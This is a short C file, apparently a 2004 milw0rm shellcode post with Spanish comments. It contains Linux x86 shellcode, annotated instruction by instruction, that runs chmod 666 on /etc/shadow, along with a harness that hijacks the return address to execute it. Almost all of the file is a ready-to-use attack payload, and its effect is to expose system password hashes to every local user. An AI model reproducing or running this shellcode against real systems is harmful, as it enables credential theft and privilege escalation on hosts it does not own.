/*
* s0t4ipv6@Shellcode.com.ar
*
* Usando execve() y un array de punteros
*
* #include <stdio.h>
* main() {
* char *name[4];
* name[0]="/bin/chmod";
* name[1]="666";
* name[2]="/etc/shadow";
* name[3]=NULL;
* execve(name[0],name,NULL);
* }
*/
#include <stdio.h>
char shellcode[]=
"\xeb\x31" // jmp 0x31 // 3-4
"\x5e" // popl %esi // 5
"\x31\xc0" // xorl %eax, %eax // 6-7
"\x88\x46\x0a" // movb %al, 0xa(%esi) // 8-10
"\x88\x46\x0e" // movb %al, 0xe(%esi) // 11-13
"\x88\x46\x1a" // movb %al, 0x1a(%esi) // 14-16
"\x89\x76\x1b" // movl %esi, 0x1b(%esi) // 17-19
"\x8d\x7e\x0b" // leal 0xb(%esi), %edi // 20-22
"\x89\x7e\x1f" // movl %edi, 0x1f(%esi) // 23-25
"\x8d\x7e\x0f" // leal 0xf(%esi), %edi // 26-28
"\x89\x7e\x23" // movl %edi, 0x23(%esi) // 29-31
"\x89\x46\x27" // movl %eax 0x27(%esi) // 32-34
"\xb0\x0b" // movb $0xb, %al // 35-36 0xb to eax (syscall execve)
"\x89\xf3" // movl %esi, %ebx // 37-38 name[0] to ebx
"\x8d\x4e\x1b" // leal 0x1b(%esi),%ecx // 39-41
"\x8d\x56\x27" // leal 0x27(%esi),%edx // 42-44
"\xcd\x80" // int $0x80 // 45-46
"\x31\xc0" // xorl %eax, %eax // 47-48
"\x31\xdb" // xorl %ebx, %ebx // 49-50
"\x40" // inc %eax // 51
"\xcd\x80" // int $0x80 // 52-53
"\xe8\xca\xff\xff\xff" // call -0x36
"/bin/chmod06660/etc/shadow";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(shellcode));
(*ret) = (int)shellcode;
}
// milw0rm.com [2004-09-26]